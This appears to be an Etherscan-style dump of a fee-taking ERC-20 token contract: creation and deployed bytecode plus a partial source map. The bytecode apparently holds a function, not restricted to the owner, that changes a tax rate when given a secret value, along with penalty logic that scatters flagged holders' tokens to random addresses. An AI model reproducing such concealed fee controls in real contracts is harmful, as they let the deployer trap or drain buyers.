2a4919061192c565b60405180910390f35b3480156102b957600080fd5b506102cd6102c8366004611992565b6108a7565b60405190151581526020016102a4565b3480156102e957600080fd5b50601c546102fd906001600160a01b031681565b6040516001600160a01b0390911681526020016102a4565b34801561032157600080fd5b506018545b6040519081526020016102a4565b34801561034057600080fd5b50610326600f5481565b34801561035657600080fd5b506102cd6103653660046119be565b6108be565b34801561037657600080fd5b506102fd7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103aa57600080fd5b50610326610929565b3480156103bf57600080fd5b50610326600e5481565b3480156103d557600080fd5b5060035460405160ff90911681526020016102a4565b3480156103f757600080fd5b50610326600b5481565b34801561040d57600080fd5b506102cd61041c366004611992565b610973565b34801561042d57600080fd5b5061044161043c3660046119ff565b6109a9565b005b34801561044f57600080fd5b50610326601e5481565b34801561046557600080fd5b506102cd610474366004611a18565b60076020526000908152604090205460ff1681565b34801561049557600080fd5b5061032660125481565b3480156104ab57600080fd5b5061032660135481565b3480156104c157600080fd5b506103266104d0366004611a18565b6001600160a01b031660009081526005602052604090205490565b3480156104f757600080fd5b506104416109de565b34801561050c57600080fd5b5061032660195481565b34801561052257600080fd5b50610326601a5481565b34801561053857600080fd5b50610441610547366004611a35565b610a52565b34801561055857600080fd5b506004546102fd906001600160a01b031681565b34801561057857600080fd5b506102cd610587366004611a18565b60096020526000908152604090205460ff1681565b3480156105a857600080fd5b506000546001600160a01b03166102fd565b3480156105c657600080fd5b50610297610aa7565b3480156105db57600080fd5b5061032660115481565b3480156105f157600080fd5b506102cd610600366004611a18565b600a6020526000908152604090205460ff1681565b34801561062157600080fd5b50601b54610326565b34801561063657600080fd5b5061032660175481565b34801561064c57600080fd5b506102cd61065b366004611992565b610ab6565b34801561066c57600080fd5b506102cd61067b366004611992565b610b05565b34801561068c57600080fd5b50610326601f5481565b3480156106a257600080fd5b5061032660145481565b3480156106b857600080fd5b50610326600d5481565b3480156106ce57600080fd5b50601d546102fd906001600160a01b031681565b3480156106ee57600080fd5b5061032660105481565b34801561070457600080fd5b506102cd610713366004611a18565b60086020526000908152604090205460ff1681565b34801561073457600080fd5b506003546102fd9061010090046001600160a01b031681565b34801561075957600080fd5b50610326600c5481565b34801561076f57600080fd5b5061032661077e366004611a73565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107b557600080fd5b506104416107c4366004611a35565b610b12565b3480156107d557600080fd5b5061032660155481565b3480156107eb57600080fd5b506104416107fa366004611a18565b610b67565b34801561080b57600080fd5b5061032660165481565b60606001805461082490611aa1565b80601f016020809104026020016040519081016040528092919081815260200182805461085090611aa1565b801561089d5780601f106108725761010080835404028352916020019161089d565b820191906000526020600020905b81548152906001019060200180831161088057829003601f168201915b5050505050905090565b60006108b4338484610cb0565b5060015b92915050565b60006108cb848484610dd4565b5061091e843361091985604051806060016040528060288152602001611cd7602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061118e565b610cb0565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526005602052604081205460185461096e916111c8565b905090565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916108b49185906109199086610c51565b60205481146109d95760405162461bcd60e51b815260206004820152600060248201526044015b60405180910390fd5b601655565b6000546001600160a01b03163314610a085760405162461bcd60e51b81526004016109d090611adb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b81526004016109d090611adb565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b60606002805461082490611aa1565b60006108b4338461091985604051806060016040528060258152602001611cff602591393360009081526006602090815260408083206001600160a01b038d168452909152902054919061118e565b600061091e338484610dd4565b6000546001600160a01b03163314610b3c5760405162461bcd60e51b81526004016109d090611adb565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610b915760405162461bcd60e51b81526004016109d090611adb565b6001600160a01b038116610bf65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109d0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610c5e8385611b26565b9050838110156109225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109d0565b6001600160a01b038316610d125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109d0565b6001600160a01b038216610d735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109d0565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610e3a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109d0565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109d0565b601d546001600160a01b038481169116148015610ed257506001600160a01b03841660009081526009602052604090205460ff16155b15610f1b576001600160a01b038416600090815260056020526040902054808303610f1957610f16610f0f6021548561120a90919063ffffffff16565b84906111c8565b92505b505b601d546001600160a01b038481169116148015610f4e57506001600160a01b038316600090815260056020526040902054155b15610f585743601e555b602254610100900460ff1615610f7a57610f7384848461124c565b9050610922565b30600090815260056020526040902054601b5481108015908190610fa65750602254610100900460ff16155b8015610fcb57506001600160a01b0386166000908152600a602052604090205460ff16155b15610fee57601c546001600160a01b03878116911614610fee57610fee82611332565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03891660009081526005909152919091205461104091869061118e565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff168061108d57506001600160a01b03861660009081526007602052604090205460ff165b6110a15761109c878787611467565b6110a3565b845b6001600160a01b0387166000908152600560205260409020549091506110c99082610c51565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111d9085815260200190565b60405180910390a3601f54601e546111359190611b26565b431080156111505750601d546001600160a01b038881169116145b1561118257611180867f00000000000000000000000000000000000000000000000000000000000000008361124c565b505b60019350505050610922565b600081848411156111b25760405162461bcd60e51b81526004016109d0919061192c565b5060006111bf8486611b39565b95945050505050565b600061092283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061118e565b600061092283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f5565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461129d91849061118e565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546112cc9083610c51565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113209086815260200190565b60405180910390a35060019392505050565b6022805461ff0019166101001790556017546012546000916113649160029161135e9182908790611623565b9061120a565b9050600061137283836111c8565b905061137d816116a5565b601254479060009061139d9061139490600261120a565b601754906111c8565b905060006113bf600261135e8461135e6012548861162390919063ffffffff16565b905060006113dc8361135e6014548761162390919063ffffffff16565b905060006113f4826113ee87866111c8565b906111c8565b90508015611417576003546114179061010090046001600160a01b031682611838565b811561143357600454611433906001600160a01b031683611838565b6000831180156114435750600087115b15611452576114528784611873565b50506022805461ff0019169055505050505050565b6001600160a01b0383166000908152600a6020526040812054819060ff16156114ab576114a4606461135e6015548661162390919063ffffffff16565b9050611571565b6001600160a01b0384166000908152600a602052604090205460ff1615611571576114e6606461135e6016548661162390919063ffffffff16565b90506000805b600b5481136115495760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c91506115368783606461124c565b508061154181611b4c565b9150506114ec565b5061156e600b54600161155c9190611b6b565b611567906064611b93565b85906111c8565b50505b80156115eb57306000908152600560205260409020546115919082610c51565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115e29085815260200190565b60405180910390a35b6111bf83826111c8565b600081836116165760405162461bcd60e51b81526004016109d0919061192c565b5060006111bf8486611bb2565b600082600003611635575060006108b8565b60006116418385611b93565b90508261164e8583611bb2565b146109225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109d0565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116da576116da611bd4565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611733573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117579190611bea565b8160018151811061176a5761176a611bd4565b6001600160a01b039283166020918202929092010152601c546117909130911684610cb0565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906117c9908590600090869030904290600401611c4b565b600060405180830381600087803b1580156117e357600080fd5b505af11580156117f7573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161182c929190611c87565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561186e573d6000803e3d6000fd5b505050565b601c5461188b9030906001600160a01b031684610cb0565b601c5460035460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b03610100909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611900573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119259190611ca8565b5050505050565b600060208083528351808285015260005b818110156119595785810183015185820160400152820161193d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461198f57600080fd5b50565b600080604083850312156119a557600080fd5b82356119b08161197a565b946020939093013593505050565b6000806000606084860312156119d357600080fd5b83356119de8161197a565b925060208401356119ee8161197a565b929592945050506040919091013590565b600060208284031215611a1157600080fd5b5035919050565b600060208284031215611a2a57600080fd5b81356109228161197a565b60008060408385031215611a4857600080fd5b8235611a538161197a565b915060208301358015158114611a6857600080fd5b809150509250929050565b60008060408385031215611a8657600080fd5b8235611a918161197a565b91506020830135611a688161197a565b600181811c90821680611ab557607f821691505b602082108103611ad557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156108b8576108b8611b10565b818103818111156108b8576108b8611b10565b60006001600160ff1b018201611b6457611b64611b10565b5060010190565b8082018281126000831280158216821582161715611b8b57611b8b611b10565b505092915050565b6000816000190483118215151615611bad57611bad611b10565b500290565b600082611bcf57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611bfc57600080fd5b81516109228161197a565b600081518084526020808501945080840160005b83811015611c405781516001600160a01b031687529582019590820190600101611c1b565b509495945050505050565b85815284602082015260a060408201526000611c6a60a0830186611c07565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611ca06040830184611c07565b949350505050565b600080600060608486031215611cbd57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202c62ca65a6d8c99539c47e14ad4a272d015698dabf6e8024fbc78a6a4acc3d8164736f6c63430008100033

Deployed Bytecode

0x6080604052600436106102765760003560e01c80638317390b1161014f578063af806d9a116100c1578063dc44b6a01161007a578063dc44b6a01461074d578063dd62ed3e14610763578063df8408fe146107a9578063f0cd1dac146107c9578063f2fde38b146107df578063f8587504146107ff57600080fd5b8063af806d9a14610696578063c5d24189146106ac578063c816841b146106c2578063c8607952146106e2578063c867d60b146106f8578063d158272d1461072857600080fd5b80639cece12e116101135780639cece12e146105e5578063a073d37f14610615578063a08e671f1461062a578063a457c2d714610640578063a9059cbb14610660578063aea9cd151461068057600080fd5b80638317390b1461054c5780638b42507f1461056c5780638da5cb5b1461059c57806395d89b41146105ba57806396d0efa7146105cf57600080fd5b806339509351116101e857806361a23c69116101ac57806361a23c691461049f57806370a08231146104b5578063715018a6146104eb5780637d1db4a514610500578063807c2d9c1461051657806381905bf81461052c57600080fd5b8063395093511461040157806348a46473146104215780634cdc9c63146104435780635342acb41461045957806357a5802f1461048957600080fd5b806323b872dd1161023a57806323b872dd1461034a57806327c8f8351461036a5780632b112e491461039e5780632ca11460146103b3578063313ce567146103c9578063328e94a5146103eb57600080fd5b806306fdde0314610282578063095ea7b3146102ad5780631694505e146102dd57806318160ddd146103155780632012b9b31461033457600080fd5b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610815565b6040516102a4919061192c565b60405180910390f35b3480156102b957600080fd5b506102cd6102c8366004611992565b6108a7565b60405190151581526020016102a4565b3480156102e957600080fd5b50601c546102fd906001600160a01b031681565b6040516001600160a01b0390911681526020016102a4565b34801561032157600080fd5b506018545b6040519081526020016102a4565b34801561034057600080fd5b50610326600f5481565b34801561035657600080fd5b506102cd6103653660046119be565b6108be565b34801561037657600080fd5b506102fd7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103aa57600080fd5b50610326610929565b3480156103bf57600080fd5b50610326600e5481565b3480156103d557600080fd5b5060035460405160ff90911681526020016102a4565b3480156103f757600080fd5b50610326600b5481565b34801561040d57600080fd5b506102cd61041c366004611992565b610973565b34801561042d57600080fd5b5061044161043c3660046119ff565b6109a9565b005b34801561044f57600080fd5b50610326601e5481565b34801561046557600080fd5b506102cd610474366004611a18565b60076020526000908152604090205460ff1681565b34801561049557600080fd5b5061032660125481565b3480156104ab57600080fd5b5061032660135481565b3480156104c157600080fd5b506103266104d0366004611a18565b6001600160a01b031660009081526005602052604090205490565b3480156104f757600080fd5b506104416109de565b34801561050c57600080fd5b5061032660195481565b34801561052257600080fd5b50610326601a5481565b34801561053857600080fd5b50610441610547366004611a35565b610a52565b34801561055857600080fd5b506004546102fd906001600160a01b031681565b34801561057857600080fd5b506102cd610587366004611a18565b60096020526000908152604090205460ff1681565b3480156105a857600080fd5b506000546001600160a01b03166102fd565b3480156105c657600080fd5b50610297610aa7565b3480156105db57600080fd5b5061032660115481565b3480156105f157600080fd5b506102cd610600366004611a18565b600a6020526000908152604090205460ff1681565b34801561062157600080fd5b50601b54610326565b34801561063657600080fd5b5061032660175481565b34801561064c57600080fd5b506102cd61065b366004611992565b610ab6565b34801561066c57600080fd5b506102cd61067b366004611992565b610b05565b34801561068c57600080fd5b50610326601f5481565b3480156106a257600080fd5b5061032660145481565b3480156106b857600080fd5b50610326600d5481565b3480156106ce57600080fd5b50601d546102fd906001600160a01b031681565b3480156106ee57600080fd5b5061032660105481565b34801561070457600080fd5b506102cd610713366004611a18565b60086020526000908152604090205460ff1681565b34801561073457600080fd5b506003546102fd9061010090046001600160a01b031681565b34801561075957600080fd5b50610326600c5481565b34801561076f57600080fd5b5061032661077e366004611a73565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107b557600080fd5b506104416107c4366004611a35565b610b12565b3480156107d557600080fd5b5061032660155481565b3480156107eb57600080fd5b506104416107fa366004611a18565b610b67565b34801561080b57600080fd5b5061032660165481565b60606001805461082490611aa1565b80601f016020809104026020016040519081016040528092919081815260200182805461085090611aa1565b801561089d5780601f106108725761010080835404028352916020019161089d565b820191906000526020600020905b81548152906001019060200180831161088057829003601f168201915b5050505050905090565b60006108b4338484610cb0565b5060015b92915050565b60006108cb848484610dd4565b5061091e843361091985604051806060016040528060288152602001611cd7602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061118e565b610cb0565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526005602052604081205460185461096e916111c8565b905090565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916108b49185906109199086610c51565b60205481146109d95760405162461bcd60e51b815260206004820152600060248201526044015b60405180910390fd5b601655565b6000546001600160a01b03163314610a085760405162461bcd60e51b81526004016109d090611adb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b81526004016109d090611adb565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b60606002805461082490611aa1565b60006108b4338461091985604051806060016040528060258152602001611cff602591393360009081526006602090815260408083206001600160a01b038d168452909152902054919061118e565b600061091e338484610dd4565b6000546001600160a01b03163314610b3c5760405162461bcd60e51b81526004016109d090611adb565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610b915760405162461bcd60e51b81526004016109d090611adb565b6001600160a01b038116610bf65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109d0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610c5e8385611b26565b9050838110156109225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109d0565b6001600160a01b038316610d125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109d0565b6001600160a01b038216610d735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109d0565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610e3a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109d0565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109d0565b601d546001600160a01b038481169116148015610ed257506001600160a01b03841660009081526009602052604090205460ff16155b15610f1b576001600160a01b038416600090815260056020526040902054808303610f1957610f16610f0f6021548561120a90919063ffffffff16565b84906111c8565b92505b505b601d546001600160a01b038481169116148015610f4e57506001600160a01b038316600090815260056020526040902054155b15610f585743601e555b602254610100900460ff1615610f7a57610f7384848461124c565b9050610922565b30600090815260056020526040902054601b5481108015908190610fa65750602254610100900460ff16155b8015610fcb57506001600160a01b0386166000908152600a602052604090205460ff16155b15610fee57601c546001600160a01b03878116911614610fee57610fee82611332565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03891660009081526005909152919091205461104091869061118e565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff168061108d57506001600160a01b03861660009081526007602052604090205460ff165b6110a15761109c878787611467565b6110a3565b845b6001600160a01b0387166000908152600560205260409020549091506110c99082610c51565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111d9085815260200190565b60405180910390a3601f54601e546111359190611b26565b431080156111505750601d546001600160a01b038881169116145b1561118257611180867f000000000000000000000000000000000000000000000000000000000000dead8361124c565b505b60019350505050610922565b600081848411156111b25760405162461bcd60e51b81526004016109d0919061192c565b5060006111bf8486611b39565b95945050505050565b600061092283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061118e565b600061092283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f5565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461129d91849061118e565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546112cc9083610c51565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113209086815260200190565b60405180910390a35060019392505050565b6022805461ff0019166101001790556017546012546000916113649160029161135e9182908790611623565b9061120a565b9050600061137283836111c8565b905061137d816116a5565b601254479060009061139d9061139490600261120a565b601754906111c8565b905060006113bf600261135e8461135e6012548861162390919063ffffffff16565b905060006113dc8361135e6014548761162390919063ffffffff16565b905060006113f4826113ee87866111c8565b906111c8565b90508015611417576003546114179061010090046001600160a01b031682611838565b811561143357600454611433906001600160a01b031683611838565b6000831180156114435750600087115b15611452576114528784611873565b50506022805461ff0019169055505050505050565b6001600160a01b0383166000908152600a6020526040812054819060ff16156114ab576114a4606461135e6015548661162390919063ffffffff16565b9050611571565b6001600160a01b0384166000908152600a602052604090205460ff1615611571576114e6606461135e6016548661162390919063ffffffff16565b90506000805b600b5481136115495760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c91506115368783606461124c565b508061154181611b4c565b9150506114ec565b5061156e600b54600161155c9190611b6b565b611567906064611b93565b85906111c8565b50505b80156115eb57306000908152600560205260409020546115919082610c51565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115e29085815260200190565b60405180910390a35b6111bf83826111c8565b600081836116165760405162461bcd60e51b81526004016109d0919061192c565b5060006111bf8486611bb2565b600082600003611635575060006108b8565b60006116418385611b93565b90508261164e8583611bb2565b146109225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109d0565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116da576116da611bd4565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611733573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117579190611bea565b8160018151811061176a5761176a611bd4565b6001600160a01b039283166020918202929092010152601c546117909130911684610cb0565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906117c9908590600090869030904290600401611c4b565b600060405180830381600087803b1580156117e357600080fd5b505af11580156117f7573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161182c929190611c87565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561186e573d6000803e3d6000fd5b505050565b601c5461188b9030906001600160a01b031684610cb0565b601c5460035460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b03610100909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611900573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119259190611ca8565b5050505050565b600060208083528351808285015260005b818110156119595785810183015185820160400152820161193d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461198f57600080fd5b50565b600080604083850312156119a557600080fd5b82356119b08161197a565b946020939093013593505050565b6000806000606084860312156119d357600080fd5b83356119de8161197a565b925060208401356119ee8161197a565b929592945050506040919091013590565b600060208284031215611a1157600080fd5b5035919050565b600060208284031215611a2a57600080fd5b81356109228161197a565b60008060408385031215611a4857600080fd5b8235611a538161197a565b915060208301358015158114611a6857600080fd5b809150509250929050565b60008060408385031215611a8657600080fd5b8235611a918161197a565b91506020830135611a688161197a565b600181811c90821680611ab557607f821691505b602082108103611ad557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156108b8576108b8611b10565b818103818111156108b8576108b8611b10565b60006001600160ff1b018201611b6457611b64611b10565b5060010190565b8082018281126000831280158216821582161715611b8b57611b8b611b10565b505092915050565b6000816000190483118215151615611bad57611bad611b10565b500290565b600082611bcf57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611bfc57600080fd5b81516109228161197a565b600081518084526020808501945080840160005b83811015611c405781516001600160a01b031687529582019590820190600101611c1b565b509495945050505050565b85815284602082015260a060408201526000611c6a60a0830186611c07565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611ca06040830184611c07565b949350505050565b600080600060608486031215611cbd57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202c62ca65a6d8c99539c47e14ad4a272d015698dabf6e8024fbc78a6a4acc3d8164736f6c63430008100033

Deployed Bytecode Sourcemap

8390:12937:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12199:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13747:193;;;;;;;;;;-1:-1:-1;13747:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13747:193:0;1023:187:1;10208:41:0;;;;;;;;;;-1:-1:-1;10208:41:0;;;;-1:-1:-1;;;;;10208:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;10208:41:0;1215:229:1;12476:100:0;;;;;;;;;;-1:-1:-1;12556:12:0;;12476:100;;;1595:25:1;;;1583:2;1568:18;12476:100:0;1449:177:1;9471:36:0;;;;;;;;;;;;;;;;15371:446;;;;;;;;;;-1:-1:-1;15371:446:0;;;;;:::i;:::-;;:::i;8868:90::-;;;;;;;;;;;;;;;14787:128;;;;;;;;;;;;;:::i;9432:32::-;;;;;;;;;;;;;;;;12385:83;;;;;;;;;;-1:-1:-1;12451:9:0;;12385:83;;12451:9;;;;2442:36:1;;2430:2;2415:18;12385:83:0;2300:184:1;9309:29:0;;;;;;;;;;;;;;;;12903:300;;;;;;;;;;-1:-1:-1;12903:300:0;;;;;:::i;:::-;;:::i;14469:150::-;;;;;;;;;;-1:-1:-1;14469:150:0;;;;;:::i;:::-;;:::i;:::-;;10291:27;;;;;;;;;;;;;;;;9087:49;;;;;;;;;;-1:-1:-1;9087:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9599:72;;;;;;;;;;;;;;;;9678;;;;;;;;;;;;;;;;12584:119;;;;;;;;;;-1:-1:-1;12584:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;12677:18:0;12650:7;12677:18;;;:9;:18;;;;;;;12584:119;4228:148;;;;;;;;;;;;;:::i;10018:52::-;;;;;;;;;;;;;;;;10077:50;;;;;;;;;;;;;;;;14327:134;;;;;;;;;;-1:-1:-1;14327:134:0;;;;;:::i;:::-;;:::i;8756:105::-;;;;;;;;;;-1:-1:-1;8756:105:0;;;;-1:-1:-1;;;;;8756:105:0;;;9201:47;;;;;;;;;;-1:-1:-1;9201:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4016:79;;;;;;;;;;-1:-1:-1;4054:7:0;4081:6;-1:-1:-1;;;;;4081:6:0;4016:79;;12290:87;;;;;;;;;;;;;:::i;9557:33::-;;;;;;;;;;;;;;;;9255:45;;;;;;;;;;-1:-1:-1;9255:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13619:120;;;;;;;;;;-1:-1:-1;13708:23:0;;13619:120;;9907:39;;;;;;;;;;;;;;;;13211:400;;;;;;;;;;-1:-1:-1;13211:400:0;;;;;:::i;:::-;;:::i;15164:199::-;;;;;;;;;;-1:-1:-1;15164:199:0;;;;;:::i;:::-;;:::i;10325:28::-;;;;;;;;;;;;;;;;9757:63;;;;;;;;;;;;;;;;9390:35;;;;;;;;;;;;;;;;10256:26;;;;;;;;;;-1:-1:-1;10256:26:0;;;;-1:-1:-1;;;;;10256:26:0;;;9514:36;;;;;;;;;;;;;;;;9143:51;;;;;;;;;;-1:-1:-1;9143:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8641:108;;;;;;;;;;-1:-1:-1;8641:108:0;;;;;;;-1:-1:-1;;;;;8641:108:0;;;9348:35;;;;;;;;;;;;;;;;12711:184;;;;;;;;;;-1:-1:-1;12711:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;12860:18:0;;;12828:7;12860:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;12711:184;14627:152;;;;;;;;;;-1:-1:-1;14627:152:0;;;;;:::i;:::-;;:::i;9829:32::-;;;;;;;;;;;;;;;;4384:281;;;;;;;;;;-1:-1:-1;4384:281:0;;;;;:::i;:::-;;:::i;9868:32::-;;;;;;;;;;;;;;;;12199:83;12236:13;12269:5;12262:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12199:83;:::o;13747:193::-;13849:4;13871:39;291:10;13894:7;